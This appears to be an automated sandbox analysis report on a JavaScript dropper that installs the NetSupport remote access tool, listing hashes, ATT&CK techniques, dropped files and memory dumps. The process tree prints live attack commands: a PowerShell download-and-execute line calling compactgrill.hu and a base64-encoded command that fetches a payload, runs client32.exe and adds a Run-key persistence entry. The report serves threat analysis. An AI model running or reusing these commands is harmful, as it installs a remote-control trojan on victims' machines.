netsupport | 2630f2b7d180fa8a7a9215e2708fca3d1ec242ddea747720cb31ed312281dfb3

Analysis

max time kernel
116s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
05-03-2024 02:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2630f2b7d180fa8a7a9215e2708fca3d1ec242ddea747720cb31ed312281dfb3.js
Size

56KB
MD5

aecbd73b9075ed0d7c16ca516c648717
SHA1

0c7fd08d11aff29aa5e56895b735b1f6ef7d7497
SHA256

2630f2b7d180fa8a7a9215e2708fca3d1ec242ddea747720cb31ed312281dfb3
SHA512

061ec8e06d7f5b48bf2d2954303437ba157edfa72484ceb5bd0f9137db3e4d22fcf7ae96a0ac07e3e7c90b8e2ff49e14e41b84037a35a21c780be37030ec281a
SSDEEP

1536:hIlx3Gj1J6Nf/7KLLkQPefJ/yteahfOczrTY0FyzkqAWz+Pj:Rz8f/7KPXeB/OeahVzrTY0Fyzkqxz2j

Score

10^/10

netsupport rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	4948	powershell.exe
36	3356	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
3356	powershell.exe
3356	powershell.exe
3356	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 4948	3488	wscript.exe	97
PID 3488 wrote to memory of 4948	3488	wscript.exe	97
PID 4948 wrote to memory of 3356	4948	powershell.exe	101
PID 4948 wrote to memory of 3356	4948	powershell.exe	101

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2630f2b7d180fa8a7a9215e2708fca3d1ec242ddea747720cb31ed312281dfb3.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3356
  - - C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe
      "C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"
      4⤵
      PID:1612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4012 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
512c6cab650bfda6ef2995f6b515ed6f

SHA1
fec40abf4f5d74ea7f8828cee83770e423203083

SHA256
84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262

SHA512
638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c20ac38ae3022e305b8752804aadf486

SHA1
4c144d6cfafb5c37ab4810ff3c1744df81493cdb

SHA256
03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

SHA512
c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\HTCTL32.DLL

Filesize
41KB

MD5
8320e20f292f1a76ab493179f9d46c29

SHA1
22a7ef03e1d391fd9413a937d2f1e56787d143fa

SHA256
c5d62b0e1d75d765f9152bfff99914ea9b17ec1ccd39345fa7bdadc351f1e712

SHA512
48cd5bc6383e224e3e50dd82d01e0f79728ca00f104203a72d759f65a93f6549691f2ea6e3007f86eb23013f1ca6856cfd3b36dcc8f59c86d9c2a24f7209ecb5

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\HTCTL32.DLL

Filesize
1KB

MD5
010a2952ee7965f89c080173baae4e53

SHA1
47827cd88058ff77d7da7b8309ccee67d57ff3d0

SHA256
6c0a8babca9cd87f8d0873e6b21c259659daac17ab1d903d2599da49a6da4cb8

SHA512
9ad4675fdeb1c92c99202eae87eda17edc8a9ad5680b4bb122e1a6522e0e69ebdb8d7b01d84610642c5db4d16ec76548804fda6d030c7bc1255032f8867eaaa5

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\MSVCR100.dll

Filesize
22KB

MD5
d262f278931066aee4257c976f01fec9

SHA1
c70144259f9c0ace0492d7229f248e5e9de53fdc

SHA256
f6b367ea974c8c65dfff375da368bbdbdf80087bcc9f782b4bf89a8442f02b66

SHA512
acaaa896ad85a68887e480ce39972522a7936a989badd21f4259297021bb7529bd7d6356fa48ac09ca8a84260a0c307c64ad34c47ff78b13b9dbf181f4ab3ee0

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICHEK.DLL

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.DLL

Filesize
7KB

MD5
ca0a8b9b824565538997f084f66fae0f

SHA1
bfd6a914d3fa30670c0138501c3cb883b8461420

SHA256
d109f438c4cbe5e44362a996bb952bd3d5680b0c874f377edde016b9cb16a890

SHA512
50a0b523ffeddc72b273aeb4c8676eba82d5d0a5d2350f978e8508152eb60e4ac0b863b44d095a984ed55740e89c7a13e187a60b5ea0dd82246273db7ce471c3

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.dll

Filesize
65KB

MD5
e93946554422a25076f6e8de64026b0d

SHA1
3d3b52150c42af36e134772f927f9a6723ba6e69

SHA256
2c25aafed2cfe0266eb7cb4c632d4a22ebebd9b6b787828d4a91e108e8ea3ccf

SHA512
6e017aaf9921f93e4167f98cc557ed96f5c645ed1ea3f70ffe8288479040983ecb697a67d3c8766c5858e3ca3192327e78f57eb16dc19de9f9f550baf8b57d02

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe

Filesize
117KB

MD5
a2b46c59f6e7e395d479b09464ecdba0

SHA1
92c132307dd21189b6d7912ddd934b50e50d1ec1

SHA256
89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

SHA512
4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe

Filesize
42KB

MD5
23440b92cb3bc8d0d97578d28da05470

SHA1
0b4eb36e457a8567441cbde92f4284ef67cebaad

SHA256
a8558792d0a966a1527aab5b4e30f4a622bd297f6ce55153df63c3f3127c0caa

SHA512
98cbeb6e07ff6f3041fde4da8bc851de900afe3bf9ba79ccaf9516704bfacf05a8d2e6e3dc00dcfb05e8f93b720ff6f4042febfa48e89b5f10be1a953b8f4da0

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.ini

Filesize
638B

MD5
5a017da03df76f4e2077fd2c4a115b1b

SHA1
2a79863853d4caa243571c0055c228e079d82339

SHA256
1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d

SHA512
580483c8a6c05dba738a4939e6740ed7698ab7efe54da6db8af273fe7507944b63e562377837ad110d0d645293ea7178fca64fecb197688d614d83854f172f02

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\msvcr100.dll

Filesize
32KB

MD5
4d118058c16aba647c454aa16a6401fe

SHA1
7c1062637290f018b277781a5bd0b815ab319bf0

SHA256
8cf397dcd458d59acd007b749fbbada3b604bbd30fce5af17c74b0087ba5331d

SHA512
132b36adcf379c5e4adf99d39df886f60811ff5307b19fda380604aecdcdad2f845c3b6f20f9c03ac9752c2ae776a38d259a977a59a00615f681aeae664a8c83

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5ant0va.4n0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3356-16-0x0000023587EF0000-0x0000023587F00000-memory.dmp

Filesize
64KB

Download
memory/3356-33-0x0000023586500000-0x0000023586512000-memory.dmp

Filesize
72KB

Download
memory/3356-34-0x0000023586520000-0x000002358652A000-memory.dmp

Filesize
40KB

Download
memory/3356-74-0x00007FFA04DA0000-0x00007FFA05861000-memory.dmp

Filesize
10.8MB

Download
memory/3356-31-0x0000023587EF0000-0x0000023587F00000-memory.dmp

Filesize
64KB

Download
memory/3356-14-0x00007FFA04DA0000-0x00007FFA05861000-memory.dmp

Filesize
10.8MB

Download
memory/3356-30-0x0000023587EF0000-0x0000023587F00000-memory.dmp

Filesize
64KB

Download
memory/3356-29-0x00007FFA04DA0000-0x00007FFA05861000-memory.dmp

Filesize
10.8MB

Download
memory/3356-15-0x0000023587EF0000-0x0000023587F00000-memory.dmp

Filesize
64KB

Download
memory/4948-27-0x00000241BA4C0000-0x00000241BA4D0000-memory.dmp

Filesize
64KB

Download
memory/4948-26-0x00007FFA04DA0000-0x00007FFA05861000-memory.dmp

Filesize
10.8MB

Download
memory/4948-28-0x00000241BA4C0000-0x00000241BA4D0000-memory.dmp

Filesize
64KB

Download
memory/4948-78-0x00007FFA04DA0000-0x00007FFA05861000-memory.dmp

Filesize
10.8MB

Download
memory/4948-13-0x00000241BA4C0000-0x00000241BA4D0000-memory.dmp

Filesize
64KB

Download
memory/4948-11-0x00000241BA4C0000-0x00000241BA4D0000-memory.dmp

Filesize
64KB

Download
memory/4948-12-0x00000241BA4C0000-0x00000241BA4D0000-memory.dmp

Filesize
64KB

Download
memory/4948-10-0x00007FFA04DA0000-0x00007FFA05861000-memory.dmp

Filesize
10.8MB

Download
memory/4948-9-0x00000241D2BE0000-0x00000241D2C02000-memory.dmp

Filesize
136KB

Download